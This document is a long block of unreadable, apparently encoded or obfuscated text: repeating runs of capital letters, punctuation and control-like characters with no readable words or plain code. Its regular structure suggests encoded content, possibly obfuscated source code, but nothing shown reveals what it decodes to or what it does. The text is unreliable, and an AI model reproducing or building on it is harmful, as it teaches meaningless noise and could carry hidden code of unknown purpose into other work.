WSW9TOFFBT^WVVW[UUM_U]B_Q 9[BT^WVVWKRQ]lFlFFFllllFFFFF 	FFFFFFRUQR
WPP^Q NB	Q^9WS	OllFlFFFFF FFFNG_QTSS_^P
 _RWNU	N^VWOOOFF]lFFFFFlFFFFFFFF FFNGF9UNWWQRONU	NWWQQOOFFFFFFGFFFFF9UNWWQ^ON	^R_ NWWQ_OOOFl]lFFFFlFFBSPR_FFF[FFNOFFFFT_RUU99N9UNWVQROJFFDDO]lF FNBSPR_FFFFG[[FFDDFFFF@@FFFF9NBSPR_OFFFF@@FFFFFNOFFT_RUU99N	^R_ NWVQSOJFDDOFFFFFG[[FFDDOFl]lFFlFF FFFNBSPR_FF[[[FFDDOFlILF

F	FLIlllllFFB
TU__Q^
FFF[FFU	NWW^VONB	Q^9WS	OFFFYFFB	Q^9WS	F\FFFF9U_QSRNO]lFFBSUR9F[FFFFTS9P9NB
TU__Q^
O]lFF FFFFNllFFBSUR9FFF@@FFGNBSUR9KX9
	OFF@@FFFNBSUR9KX9
Oll@@FFFFBSUR9KX9
FF[[[FFBSUR9KX9
	FFHFFFFFFA&AFFFFFHFFFV	 NP

_
TNWW^WOOlFOFFFFlFFFFFBSPR_FFFF[FNOFBSUR9KX9
	]lFFFlFFFFFl FNBSPR_FG[[FFFDDFF@@FFFF9NBSPR_OOFFFlllFB_QRS
W9PF[F9NBSPR_O]lFFFFFFB W^PFF[FRWPVQTVWNNWPS8W^_OO]llllFF FFFFN	^R_ NWW^TONP

_
TNWW^UOOOFFFFlF9UNWW^UONB W^PJFB_QRS
W9PO]lllFFF9
T
PTTNU	NWVQROJFBSPR_JFFU	NWV^TOO]BQ_R[U_LS]BQQ^[BQ_RKU_]lFFFF9
T
PTTN	^R_ NWVQSOJFFFB W^PJFU	NWW^ROO]lFFF]lFFFFFlB
 RFFF[FF_TPW	NO]lFFFFF FFNOFlFFBSPR_FFF[FFFFDD]lF 	FFNBPV9^F[FV]FFBPV9^FFZFN_KRO]FFFBPV9^MMOFlB
PVF[FFB
 R=	^R_ NWW^SONB
 RO;FHFRWPVQTVWNNWUR8WRVOO]lFFF FNG9NB
PVOOFFFFFlFBSPR_FF[FFFB
PV]lFFF]lIIF16F6F$
	FFlllFFFFFlFFFFlFFFFFF FFNBSPR_F[[[FFFDDOFFlILF	K FFLIllFFFF	RR^TT9
N	^R_ NWW^POJFFF9UNWW^QOO]lFF]llFFFlB W^PFF[FFFRWPVQTVWNNRQKTUOO]lF FFFFFNGFFFFP

_
TNWW^^ON	^R_ NWW^_OOFF@@FFF NU	N_PPOOFFFF@@FFP

_
TNWW_VON'$56'2.FHFP

_
TNWW_WOOOFFFFFlIIF4F	FF	F lBRV[RMTR]B^^_R[BRVKU_]lF9	FFFF'$56'2.FFFFFFHFFFFU	NWW_WO]lFFFFFFFlllFFFFFFFB^V PWFFFF[FBSPR_FFHFFFA&AFFHFV	 NP

_
TNWW^WOO]lB
VRU9_V FF[FF 
]lF FN	^R_ NWW^^ON	^R_ NWW^_OOOFFFllB
VRU9_V FFF[FFFFU	NWW^_ONNllllFFFU	NWW_TOFFF[XFFFBSPR_JlU	NWW_UOFFF[XFFFB W^PJlFFFF9UNWW_ROF[XFB^V PWJlFFFF9UNWW_SOFFFF[XF9UNWW_POJlFFP

_
TNWW_QOF[XFFBSPR_JlFFFFFFFOO]l FFN99	NB
VRU9_V OOFFFFlFFFFF	RR^TT9
N9UNWW^POJFB
VRU9_V KX9	9	NOFFFHFFFA\AFHFFB
VRU9_V KX9	9NOO]llFB
VRU9_V FFFFF[FF 
]lllFFlFllFFF FFFNGB
VRU9_V OFFFllllFFFFFBF[FNB!*)$'*5=9UNWVUPO;OFFYFB!*)$'*5=U	NWVUPO;FF\FF

]lF FNGBFFFFFG	^R_ NWVQPONBOOFFlFFFF	RR^TT9
NP

_
TNWW^POJFFU	NWW_^OO]l]lFlFFFB	P	SSFFFFF[FFFP

_
TNWW^^ONP

_
TNWW__OOFFYFFFF99	NB W^POF\FFFF9UNWWTPONB W^PO]lFFFBW^Q	
F[FFFF9UNWW^^ONU	NWTVVOOFFFYF9N	^R_ NWTVWOOFFF\FFN	^R_ NWTVTOO]lBVR^ST_P9FF[FFFFFFBKXNBKXJFNlFFU	NWTVUOF[XFFFBSPR_JlFFF	^R_ NWW_UOF[XFFFB	P	SSJllllFU	NWTVROFFFF[XFFFFBSPR_JlFFU	NWW_ROFF[XFFFFB^V PWJl9UNWTVSOFFF[XFFBW^Q	
JlFFFF	^R_ NWTVPOFF[XFFFFVJllllFFFFFF	^R_ NWW_QOFF[XFBSPR_JllllFFOJFFFNP

_
TNWTVQOJFF9UNWTVQOJFFP

_
TNWTVQOJFF	^R_ NWTVQOJFFP

_
TNWTVQOJF9UNWTV^OJFFFFFF9UNWTVQOOO]lF FFNGBVR^ST_P9OFFFlFFFFFFF	RR^TT9
N9UNWW^POJFP

_
TNWTV_OO]lllF]llllFFlFFB
VRU9_V FF[FFNOFBKX9]lFBUFFF[FFFFFFBKX FHFFFFU	NWVUQO]lBKXNBKXJFFNllFFFFFFFP

_
TNWTWVOFFF[XFFB
VRU9_V JlFFFU	NWTWWOFFFF[XFFFFBUJlFF	^R_ NWTWTOF[XFFF	^R_ NU_PONNU	NWW_POFF[XFOOJlFOJFNU	NWTV^OJFFFFFF9UNWTVQOJFFFFFU	NWTVQOOO]lllFBKXNBKXJFFFFNlFFFFP

_
TNWTWVOF[XFB
VRU9_V JllllF9UNWTWUOFFFF[XFFFFFFBKX FFFFHFFU	NWTWROJlFFFFFF9UNWTWTOFF[XFAWVAJlFFOJFFFN9UNWTV^OJFFFP

_
TNWTWSOJFFF	^R_ NWTWPOOO]lF FFFFN	^R_ NWW^^ON9UNWTWQOOOFlF
99NB
VRU9_V O]lFFFFFllFl FFFFFNG9NBSPR_OOFlFFFFF	RR^TT9
N9UNWTW^OJFP

_
TNWTW_OO]lllF]lllllFB99PSUFF[FFFFFU	NWTTVONP

_
TNWTTWOOFFYFFF99N	^R_ NWTTTOJFFFBSPR_OFF\FFFFF 
]lFB^RRPTQFFFFFF[FF 
]l FFFFNB99PSUFF@@FFFGNB99PSUKX/"OOFFFlllF FNP

_
TNWTTVONP

_
TNWTTUOOOFFFlB^RRPTQFF[FFN		
OFF9NB99PSUJFF	^R_ NWW_POO]lFF
 FNNB99PSUKXOFFF@@F9UNWW^VONB99PSUKXOOFlB^RRPTQF[FFFFFGNB99PSUKX=P

_
TNWW_PO;O]lFFFlFlIIF16F$
	F'6/FU\FF
	lllF FFNGB^RRPTQOFlF	RR^TT9
NU	NWTW^OJFFFFF9UNWTTROO]lFF FFNB
VRU9_V OFFFFFlFFFF FFFFNG9UNWTTVONP

_
TNWTTSOOFFFF@@F NU	NWTTPOOFF@@F&U	NWW_VON'$56'2.FHFFFF9UNWTTQOOOFlFFFF9	FF'$56'2.FFHFFFU	NWTTQO]llllFFFFlF FFFFFFNP

_
TNWTTVON	^R_ NWTTSOOOFFFFF&9
9NB
VRU9_V O]llFFF]lFFFFFFlFF9
T
PTTNP

_
TNWVQROJFFFBSPR_JFFU	NWTT^OO]lF9
T
PTTN9UNWVQSOJFFFB W^PJFFF	^R_ NWTT^OO]lFFFFFFFFFFN2	
FB
WSW9TOFFlIIF	F
FKlll	RR^TT9
NP

_
TNWTW^OJFB
WSW9TO]lFFFFFFFFN#	FFFFB
WSW9TOFFFFFlFFFFF 

FFlFSU_T	_NP

_
TN^VWOO]lFlllFF 	FFFFF9V 
VRPU NBP9QROlFFllllFFFFllFFFF FFNGFFP

_
TNWVQPONBP9QROFFFFGFF	9NBP9QRJFF9UNWTT_OOOFFFFllFFFFBP9QR]lllFFFlllllFBSPR_FF[FF9UNWTTVON9UNWWQQOOFFFFYFFFNOFFFT_RUU99NU	NWVQROJFFFDDOFFF\FDD]lFF FFNGFFBSPR_OFllFFFFFFFBP9QR]lFlFFlFBSW_VFFF[FFFF9
NBSPR_O]l FFFFFFN	^R_ NWTUVONBP9QRKX9JFFBSW_VOF[[[F 
OFlFBP9QRKX9FFH[FFF9UNWTUWOFHFFBSW_VFHFFDAD]lFFFFFFlFFFFFFFN2	
FFFFB
WSW9TOFFFlF	RR^TT9
NU	NWTUTOJFFB
WSW9TO]lFFFFFFFFN#	FFFFB
WSW9TOFFllllFlllFFFFFFFBP9QR]lFFFFFFFlF 	FFFFU_PWNB9OllllFFFlILFFK	FLIllFFFFlFFFFB9	_F[FFU	NWTTVONU	NWTUUOOFFYFNOFFT_RUU99N9UNWTUROJFDDOFFFFFF\FDD]l FFFFFFNGFFB9	_OFFFlIIFF		llFFB9]lFFFFlFFFFB 
__FFFF[FFFNU	NWTUSOJF	^R_ NWW_POO]lFFFFFFF 	FFNB 
__FFFFBOFFFlFFFF FFNNB9=B;OF@@FFF	^R_ NWWU_ONB9=B;OFF@@FFFF9UN^VPONU	NWTUPOJFFFB9=B;JFFFBQWS_P _QOOFFlBVTVWF[FF9UNSUSONVJFFFNOFFFFBQWS_P _Q=W;FFKFFWO]lFFlllllFFFFB9=B;F[FFFFFF	^R_ NWTUQONU	NWTU^OJFANAFFHFFBVTVWFHFFFAOAJFB9=B;O]llFllllFFFlFFFFFN2	
FB
WSW9TOFlFF	RR^TT9
N9UNWTU_OJFB
WSW9TO]lFFFFFFFN#	FB
WSW9TOFlFFlFFFFFFB9]lFFFFFl 	FFFFF
U 
9T^T^RNBPVR	JFBPVQP OlFFBP_RS_[SUPW]BT
VR_[BP_RS_CWR]lFFFlFBSPR_F[FFFU	NWTTVONU	NWTUUOOFYFFFNOFT_RUU99N9UNWTRVOJFDDOFFFF\FFFDD]lFFFFF FNBSPR_FFFF[[[FFDDOFFFFlFFFFFFFFBPVR	]lFFlFFF FFFNGFF	^R_ NWW^VONBPVR	OOFlFFFFFBPVR	]lFFFlFFFFFFF FFFFFFNGFFNBPVR	=P

_
TNWTRWO;OFFFFFFGFF	^R_ NWW^VONBPVR	=	^R_ NWTRWO;OOFlFFBPVR	=9UNWTRTO;FFFF[FFNO]B9T_UWT[TQ_]B_Q[NB9T_UWTXVOYB9T_UWT\KB9T_UWT]llF FFFFNGFFF	^R_ NQ_PONBSPR_JFFFFFBPVR	=	^R_ NWTRTO;JFOOFFFFlFFFFFBPVR	=9UNWTRTO;=;FF[FFBSPR_]llFFFFFFN2	
FFB
WSW9TOFl	RR^TT9
NU	NWTRUOJFFFFB
WSW9TO]llFFFFFFFFN#	FFB
WSW9TOFFFFFFlFFlFFFBPVR	]B
9[SMT]BTQ[B
9KRQ]llFFFFFFl 	FS	R ^QRVVNOlFFFFFFFllFFFB9VPVFFF[FFFNO]lFFllFFFFFF FN NU	N^T^OOF@@F9UNWTTVON9UNWTUUOOOFFFlIIF+57*F^F%2#\FF	KllFFFFBWUUFF[FFFFNOFFFFF9		NP

_
TNQQ^OJFFFFFFNOO]lFFFFFBW
F[FFFNO]lF 	FFNBWUUFFFFBOFlFFFF FNGFFP

_
TNWTRRONBOFFFFF9UNWTUVONBJFFF9UNTRPOOFFG[[FF 
OFFllllFFF	]llIIF
FFllFFFFB9
P
 FF[FFF9UNWTRSONBO]lF FFFNB9
P
 FF[[[FFFFAHAOFFlFFFB9
P
 F[FFFFB]lFFFFFFFFlFFFFFF FFFNNBW
=B9
P
 ;OOFll	]B 	
 [UPLR]BWQT_VQ_[B 	
 KR^]lFFFllFllllBW
=B9
P
 ;F[FFFFF]lB
V^V^FFF[FF1696*3!/(9"/4FFFHFAIAFFFHFB]l FN	^R_ NWTRPONBOFFFFF[[[FAHAOFFFlF FN&	^R_ NWWU^ONB
V^V^OOFFlFB9VPV=;FF[FB
V^V^]llIIF FF
llFFF
FFFFllBQ
WVFFF[FFFP

_
TNWTRPONB
V^V^O]llF FFFFFN&9UN^QQONBQ
WVOOFFFFlFB9VPVFFFFF[FFFFF	^R_ NWTRQONB9VPVJF	9WTTQP NBQ
WVJFFFFN9UN^R^OOOO]lFFlFlFlllFFFlIIFF	KF 	F16F 	F*llllllFFFFFFF FFN&9UN^QQON9	_	^R	VVNOOOFFlIIF&F			llFFFFFFBUTPFF[FFFFTWUQSQN9	_	^R	VVNOO]ll FFFFFFNP

_
TNWTR^ONBUTPOOFlllF 	FFFNBUTPFFFFFFFFFBPVS OFlFFFFFFF FFNBPVS FFFF[[[FFF^SU^S
_NOOFllFF	]lllFFFFFFFFlFFFB	

^	FF[FFF9	_	^R	VVNOFHFFFFFFAIAFFFHFFFBPVS ]lFF FFFN&9UNWTR_ONB	

^	OFFFF@@FF	^R_ NQQONU	N^TTONBPVS JFFF	NU	NWTSVOOOOFFFF[[[F	^R_ NWTSWOOFllFFFFB9VPV=;FFF[FB	

^	]lFFFlFllllllFFFFFllllFFFFFF FFN N9UNWTTPOOFF@@FFF	^R_ NWTTVON	^R_ NWTSTOOOFlBVRFF[FNOF9		N	^R_ NWTSUOJFFFFFFDDO]lFFllB
F[FFNOF9		N	^R_ NWTSROJFDDO]lFBVR	F[FF N9UNWTSSOOFFFYF169%)(2#(29"/4FHFFU	NWTSPOFFFF\F'$56'2.FHFF	^R_ NWTSQO]lFFFFBQSUVQ9F[FFFFFP

_
TNWTS^ONU	NUQ_ONNBVRJFFB
OOO]lFFFFFFFF 	FNBQSUVQ9FFFFFFBTOFl FFNP

_
TNWTS_ONBTJF9UNWTPVOOFFG[[FF 
OFFFFlF	]llB
UVSFFFFF[FFFBVR	FFFFHFFAIAFFHFBT]l FFFFFFN&9UN^QQONB
UVSOOFlFFFFlFFB9SR9UP
TF[FFTWUQSQNB
UVSO]lFFFFF FN9UNWTR^ONB9SR9UP
TOOFl 	FFFNB9SR9UP
TFFFFBPVS OFlFFFFFFBVU_ FFFFF[FFB
UVSFHFFAIAFFFFFFHFFBPVS ]l FFFFN&	^R_ NWTR_ONBVU_ OF@@FP

_
TNQQON9UN^TTONBPVS JFF	NP

_
TNWTSVOOOOFFF[[[FFF9UNWTSWOOFFFlFFFB9VPV=;F[FBVU_ ]lFFlFFFFllIIF16F6	F#FFllFlFFFBQ RUTFFFFF[FFB
UVSFFHFFU	NWTPWO]lF FN&P

_
TNWTPTONBQ RUTOOFlFFFFB9VPVFF[FFP

_
TNWTRQONB9VPVJFFFFF	9WTTQP NBQ RUTJFNU	NWTSWOOOO]llllFFFFFFlFFFFFFlFlllFlFFFFFFFFF	^R_ NWTS^ONB9VPVO]llllFF 	FFVQ PVT RVNB^ VOlFlFFF FNG9UNWTPUONB^ VOOFFFFFFFNO]llllBU	9FFFF[FFNO]lFF 	FFFFNB^ VFFFFFB TW	R	_ SQPOFl FFFNGU	NWTRRONB TW	R	_ SQPOFFFFB TW	R	_ SQPF[[[FFFFDDFFFFFFU	NWTPRONB TW	R	_ SQPOFXFFFNRVW_MQQOOFF	]lFFFlIIFKF		
F	ll FN&9UN^VPONB TW	R	_ SQPJFFDDOFF[[[FFFFF 
OFF	]lFFFFFN2	
FFFB
WSW9TOFlFFFF	]llllFFFFN#	FFB
WSW9TOFFFlFFF	]llFFBU	9=;FFFF[FFB TW	R	_ SQP]llFFFFFlIIF16F.	F*\FF		KllFFFFBU	9]llFl 	F^US9NB^ VOlFlFFFlFFFl FFFNNB^ VOOFFFlllFFFFF 
]BS 9[WQTS]BVRT	[BS 9CT]lFFFlllFB9VPVFFF[FFS	R ^QRVVNO]llllFFFFF FFNNB9VPVOOFFFFFlIIF
	F	KF 	F16F6	F2
llFFFFFFF 
]lFlFFFFFBRFFF[F 
]lFFFF 	FFNB9VPVFFB	

^	OFFFlFFlFF FNGF&P

_
TNWTR_ONB	

^	OFFFFGFFFFF&U	N^Q^ONB	

^	OOFl	]lFFllFFFFFFF FN&P

_
TNTTUONB	

^	OFFFFXFFFNSTRTTRMPROOFl	]lllFFFFlBVS9FF[FF&	^R_ NWWTSONB	

^	O]lFFF FNGFBVS9FFFFGFP

_
TNWTPSONBVS9OOFl	]lFFFFllFFFFlFlFFFBPPT_^UF[F 
]llllF 	FNB^ VFFFB9P9S9POFFlFFllFFFllllBWR
WFF[FFFF&P

_
TNWTUQONB9P9S9PJFDDJFFFBVS9O]lF FFFFFNBWR
WFFFG[[FF

FFFF@@FFFFFBWR
WFFFG[[FBVS9OFFlFFBVS9FF[FFFFBWR
W]B^_^RR[K_^P]B 
R[NB^_^RRXVOYB^_^RR\KB^_^RR]lFFBPPT_^UF[F]lFFFlIIF1	6FPHPF
	F\FF	llFFFFFFFFFFFN2	
FFFB
WSW9TOFlFFF	RR^TT9
N9UNWTPPOJFFFFFB
WSW9TO]l	]lFFFFFFFFFN#	FFB
WSW9TOFFlIIF16F(	F$
	F	F
	llFF	]lFFFlFFlFFlFFF FNBPPT_^UOFFFFl FFN URUSWNB	

^	JFBVS9OOFFFFFlBRFFF[FF]lFFlFFllFFFlFFFlFFBR]llFFFFFFFFFFFN2	
FB
WSW9TOFlILFF	FLIll	RR^TT9
N	^R_ NWTPQOJFB
WSW9TO]lllFFN#	FFFFFB
WSW9TOFFlFFFlILF
FK	
FLIllFFF 
]lllFFFFFFlFFFlF 	FFFFFF	T_NBQ
WVJFFFB
VSOllllFFFFFFFFllllFFFFFFBRTSRFF[FFNO]lFFFB
VSFF[FFB
VSFFFKFFW]lFFFFFFFFlFFFFB  STFF[F&	^R_ NTSVONBQ
WVO]BVP [TRLS]B_U[BVP KTR]lF FFNGFF9UNWTPUONB  STOOFlllFFBRTSR]lFFFFlFFFFFB  STFFF[FFFU	NWURONB  STJFFVJFFNV_MVWS^OO]lllFFlFFF 	FFNB  STFFFBPVS OFFFlllllFFF FFNBPVS F[[[FFFAHAFFFFFFFBPVS FFFF[[[FP

_
TNWTPVOOFFFFlFFF	]lFFFFFFllllFB RWSF[FFBQ
WVFHFFAIAFFFFFFHFFBPVS ]lFFFFF FFFNGFFFF&	^R_ NWTPTONB RWSOOFFFlFFF	]lFlFFFlFF FFN&P

_
TNWTPTONB RWSFFFFFHFP

_
TNWVSSOOOFFFllllFFFFFBRTSR=;F[F9UNPP^ONB RWSJFFFF	^R_ NWTP^OO]l	]lFFFFFlFFFFFFllllFFF FNB
VSFFFXFFFVOFFFllFFFFFFBRTSRFFF[FFF	^R_ NWTRQONBRTSRJFFF	T_NB RWSJFFFFFFB
VSOO]lFFFFFFFlFFFlFlFFFFFFFBRTSR]lFFFlF 	FFFF^RSS_^NOlFFFlFBV
PSP
	FFF[FFNO]lllB^WS FFFF[FFU	NPP^ON'$56'2.JFU	NWTP^OO]lFFFFFlFFFB
PSFF[FFFFNO]lF FNB^WS OFlB
PS=;F[FFFFFFP

_
TNWTRPONB^WS O]lFFFFFB
PS=;F[FU	NWTRPON9UNWTRPONB^WS OO]llllFFFFFFB
PS=;FF[FU	NWTP_ONP

_
TNWTP_ONU	NWTP_ONB^WS OOO]llllFlFB
PS=;FFF[FP

_
TNWTQVO]lFB
PS=;FF[FFFU	NWTQWO]lFB
PS=;FF[FP

_
TNWTQTO]lB
PS=;F[FFF	^R_ NWTQUO]lFFFFB
PS=;F[FFF	^R_ NWTQRO]lFFFFFFFB
PS=;FFF[FFFFF	^R_ NWTQSO]llB
PS=;F[FP

_
TNWTQPO]llFFFFFFlFFB_PWR9FFF[FFU	NWTTVON9UNWTQQOOFFFYFFNOFFF&9UNWTQ^ONU	NWTQ_OOF\FDD]lFFF FFFNB_PWR9FFFFG[[FDDOFFFFFlFB
TW_USVFF[FFN9UNWT^VONB_PWR9JFFFA]AOFFFG[[F 
OFFFYFFFFA]AF\FFFFFFA\A]lF 	FFN9UNTTVONB
TW_USVJFFB_PWR9OFFFB 
 UUTQ	WOFFFlFB 
 UUTQ	WF[FFFFFFP

_
TNWT^WONB 
 UUTQ	WO]l FNB 
 UUTQ	WFFFFG[[FFFDDOFlFFFFB
PS=;FF[FFFFB 
 UUTQ	W]lFFFFFFlFlFFFFFFFlFlFFFFB
PSF[FP

_
TNWT^TON	^R_ NUQ_ONB
PSOO]lFFFFFFB	SS_
FFFFFF[FFU	NWT^UONO]llFFFFFBV
PSP
	FFF[FNO]B9_VP^[RVQW]BV_W[B9_VP^8TT^]lFFFFFFl 	FFFNB
PSFFFFFFBQ
WVOFFFFlFFlF FFFFNGFF&P

_
TNWTPTONBQ
WVOFFFGF&	^R_ N^WWONBQ
WVOOFFlFFF	]llll FFNNP

_
TNWT^UONOFKFB	SS_
OFFFFXFNVWMV_OOFFFlF]lFFlFllllFFFFFBV
PSP
	F[FFP

_
TNWTRQONBV
PSP
	JFFFF	T_NBQ
WVJFTOO]BQVV_[NVWMVQPO]B_W_ [BQVV_CWR]lFFlllFFFFFFFFFN2	
FFFB
WSW9TOFlF	RR^TT9
NP

_
TN_QPOJFFB
WSW9TO]lFFFFFFFN#	FFB
WSW9TOFFFBQ^[6.69+',)490#45/)(]B99_9[BQ^LU]llFFFlFFlFFFP

_
TNW_PONU	NWT^TONBV
PSP
	OJFFFFNB^WS OO]lFFllFFFlF 	FFF	^
UV_NB_SROlFFFFlFFFFFFlB		QF[FFNB_SRFFHFFFFP

_
TNWT^ROJFB_SRFFFHFF	^R_ NWT^SOO]l 	FFFFFNB		QFFFFBQ
WVOFl FFFFNGFFFF&9UNWTPTONBQ
WVOOFlFFFF	]llFFFFBST_SVSFFF[FFTWUQSQNBQ
WVO]lFFFFFF FFNG9UNWTPUONBST_SVSOOFFFFBRT9U[NV TMVRO]BU	[BRT9UC_]lF	]lFFlFFFFFF 	FNBST_SVSFFFFFFB
WSW9TOFFlFF FFFFFN	^R_ NWWUWONB
WSW9TJFFFFKNTMTOOF[[[FFFFFP

_
TN_^^OFFFF@@FFFF_9
U NBQ
WVFFFFFHFFFFAIAFHFFB
WSW9TJFNR_^SMWSOOOFFllFFFF]lFlFFlF 	FNBST_SVSFFFFFB
WSW9TOFFlFFB9RS
_WFFFFF[FFFBQ
WVFFFHFAIAFHFFB
WSW9T]lllFFF FNGF&9UNWT^PONB9RS
_WOOFFlFFF	]llFFlFFFBU RR_^QFFFFF[FTWUQSQNB9RS
_WO]lFF FFFFFNGP

_
TNWTPUONBU RR_^QOOFFFFFl	]lFFFlFF 	FFFFFFNBU RR_^QFFFBT	W QOFFFl FN	^R_ NWWUWONBT	W QJFKNVWMVUOOFF[[[F	^R_ N_^^OFF@@FF_9
U NB9RS
_WFFHFFFAIAFHFFFFBT	W QJFFNVWVTMVUSOOOFFllllFF]lFFllFlFllFFFFFFN2	
FFFFB
WSW9TOFlIIF&
FllFF	RR^TT9
NP

_
TNWT^QOJFFFFB
WSW9TO]lFFFN#	FFFFFFB
WSW9TOFFFllFFFFFlFFFFFFFF 
]lFFFlFF 	F  	SUU_ NOllFFFFFlF FNW U^PTWSNWP__VVUVNOOOF]lFFFlll FFN9NP

_
TNWT^^OOOFFFlF]lllFFFlFllFFFFB
VRW
FFFFF[FTWTNO]lFF FFFFFNGFFB
VRW
FFP

_
TNWTPRONB
VRW
OFFZFFN_QRMTPOOFFlFFF]lFFlFFF FFFNGFS_V9QNB
VRW
OOFFFFl	RR^TT9
N	^R_ NWT^_OJFP

_
TN^QUOO]lFFF]llIIF16F6	F2
\F
F		 KllllBV
PSP
	F[FF^RSS_^NO]llFFFF FFNNBV
PSP
	OOFFFlFFF FNG9N9UNWT_VOOOFFllF	RR^TT9
NP

_
TNWT^_OJFFFFP

_
TNWT_WOO]lFF9NU	NWT_VOJFFFFWJFFFFNVVMVUQVOO]lFFFFFFFlFFFFFFFF9N9UNWT^^OJFFFFWJFFNWSQ_SPMWVWTRROO]lFFFF]lllFFFFFllFBVR
UTWFFF[FFFV]lFFF 	FNBV
PSP
	FFFFFFFB_SROFFFllllFFllll FFFN	^
UV_NB_SROOFFl	]lFlFFFlFFFBUR	TRFFFFF[FFDD]lFFBW_FF[FFFFB_SRFFHF9UNWT^RO]llFF FN&P

_
TN^QPONBW_OF@@FFG&P

_
TNWT^PONBW_OOFFlFFFBW_FFFF[FFF

]lllFFFF
 FFFNG&	^R_ NWT^PONBW_OOFFFFFllllF9WR
R NBW_JFNRUVMPUOJFFO]lllllFFF FFNBW_FF@@FNG&P

_
TNWT^PONBW_OFFFFFFFFG&	^R_ N^Q^ONBW_OOOFFFlFFFFFFFBW_F[FF

]lFFFFFFFl FFFNBW_OFllllB R_S^FF[FFBW_FHFFFFFAIAFHFFF^SU^S
_NO]lllBQ	SRFFF[FU 		 WS	NB
VRW
O]lFFB^V9SFF[FFFU_TVQTQ	_NB R_S^JFFBQ	SRJFF9UNWT^_OO]lFFF FNB^V9SFFFF@@FFFB^V9SFFX[FFF	^R_ NWTPRONBQ	SROOFFFlllBUR	TRFFF[FFB R_S^]lFFFlFFFFFlFFFFFFFllFFFFFF FNGFFBUR	TROFFFlFFFFFBS_	SF[FFU	N^TTON^SU^S
_NOJF6'2./( )9 /*#('+#O]lFFFB99	FFFF[FB_SRFFFFHFP

_
TNWT_TOFHFBS_	S]l FFFFNGFFFF&P

_
TNWT^PONB99	OOFFlF9WR
R NB99	JFNRTPMPQOJFFFFFO]lFFlFFFFFFFB R_S^FFF[FFB99	FHFFAIAFFHFF^SU^S
_NO]lFFFFBQ	SRFFFF[FFFU 		 WS	NB
VRW
O]lFFFFFFB^V9SFF[FFU_TVQTQ	_NB R_S^JFFFBQ	SRJFFFFU	NWT^_OO]lFFFllFFFFF FFFFFNB^V9SFFFF@@FB^V9SFFX[FFF9UNWTPRONBQ	SROOFFFFlBUR	TRFF[FFFFFB R_S^]llBFFF[FFFFFBS_	SFFHFFAIAFFFHFFFF^SU^S
_NO]lllFF_VQ^_	^RVTNB_SRJFFFFFBO]lFFFFlFFFlF FNGFBUR	TROFFFFlF	]lFl_R
RRWU
NBUR	TRO]lFFU9
 NBUR	TRJFFFNVQWMVUOO]lllFFBVR
UTWMM]lllllFFFFFF FFNBVR
UTWFXFVOFFlFF9N	^R_ NWT_UOJFFFWJFNVT _U MV RWOO]lFFFFFFF
FFFFlFFFFFF9NP

_
TNWT_UOJFFWJFFFFFNSS^MUVRTOO]lFFFllFFFFFFFFFFFN2	
FFFFB
WSW9TOFFFFlFF	RR^TT9
N9UNWT^_OJFFFB
WSW9TO]lFFFFFN#	FFFFB
WSW9TOFFllFFlFFF 	F_VQ^_	^RVTNB_SRJFFBOllFFFFFFFFFllllFB_SSFFFF[FFFB_SRFFFFHFFFU	NWT_RO]lFFFF FNGFF&P

_
TNWTR_ONB_SSOOFlFFFFB_SSFF[FFFFP

_
TNWTP_ONB_SROFFFFHF	^R_ NWT_SO]lFFFFF FNGFFF&P

_
TNWTR_ONB_SSOOFFFlFFFF]lFFFFlFFFFlllFBT VVFFF[FF&9UNWWTSONB_SSO]l FFNGFBT VVOFFFFlFFF]lFFlFBT9  FFFFFF[FFDD]lB F[FDD]lllFFFFFFFF FNP

_
TN^VPONU	NWT_POJFFFBT VVJFFFBQWS_P _QOOFB
 ^[WTSR^]B9
9 W9[B
 ^8ST]llBT9  FF[FFBQWS_P _Q=W;]lFl FNU	N^VPON9UNWT_QOJFFFBT VVJFFFBQWS_P _QOOFFlFFFFB FFF[FFFFFBQWS_P _Q=W;]llFF FNGFFFFFBT9  FFFFFFFFGFB FFFFFFFGF9UN^VPONU	NWT_^OJFFFFB OOFFFFlFF]llFFFFFFlllBF[FFFFB!*)$'*5=9UNWT__O;]lFFFF FFFFNGFFFFU	NWVQPONBOFFFGFF	^R_ N__ONBJFF	^R_ NWUVVOOOFFFlFFFFFF]ll FNGFFFFFFP

_
TNWUVWON	^R_ NWUVTOJFFFFFBT9  OOFFFlF	RR^TT9
NU	NWUVUOJFFP

_
TNWUVROO]lF]llllFlFFFFFFFFB	UTQFF[FFFAAFFHFFFFBT9  FFFFHF	^R_ NWUVSOFHFFB FFHFU	NWUVPO]lFFFBKXN9UNWUVQOO]lFFB QT	QF[FFFFBKX9NA5AFHFFFP

_
TNWUV^OFFHFFFB	UTQFFHFFP

_
TNWUV_OFFHFFFF9UNWUWVOFFFFHFFFF	^R_ NWUWWOO]lFFFFFF FFFNB QT	QFFFF[[[F

OFlBKXN	^R_ NWUWTOO]lFFF]llFFFFlFFFFFFFBWUUFFFF[F_9^TNB QT	QO]lF FNGFFFF	^R_ NWTPUONBWUUOOFllllFFFFFBKXN9UNWUWUOO]l]lFl FFFNU	NQ_PONBJFFBWUUJFOOFlFBKXN	^R_ NWUWROO]lFFFF]lllFFFFFBWUU=;FF[FB]llFFFBWUUFFFFF[FF	^R_ NQVTONBWUUO]lFFFFFFB_RFF[FFP

_
TNU_PONBWUUO]lFB99PSUFF[FFBKXNBKXNA3AFFFHFFFFF	^R_ NWUWSOFFHFFFFFB	UTQFFFHFFFF9UNWUWPOFHFFF9UNWUWVOJFB_ROO]llllF FNB99PSUFFF[[[FF 
OFFllll	RR^TT9
NU	NWUWQOJFFFF9UNWUW^OO]lBKXNU	NWUW_OO]lll]lFlFFBKXNP

_
TNWUWROO]lFFFFFFFFFFN2	
FFFB
WSW9TOFFlFFFFFFF	RR^TT9
NU	NWUWQOJFFB
WSW9TO]lFFFF FFNP

_
TNWUTVONB!*)$'*5=U	NWT__O;OOFFFlF&B!*)$'*5=U	NWUTWO;KXNU	NWUW_OO]lFlFFFFFN#	FFB
WSW9TOFFFFlllFFFFFF	RR^TT9
NP

_
TNWUWQOJFFB
WSW9TO]lFFF FFNU	NWUTTONB!*)$'*5=9UNWUTWO;OOFFFl&B!*)$'*5=P

_
TNWUTWO;KXNP

_
TNWUW_OO]lFFFFFFFlFFFlllFFlFF 	FFFR^	9^VPNOlFFFlFFFFFBT VVF[FF

]lF FNBT VVFG[[FFFFF

OFFFFBT VV]lFFF FFNG9UNWUTUON9UNWUTROOOFFlBT VVFFF[FFFFDD]B  R[UPWTU]BQURU
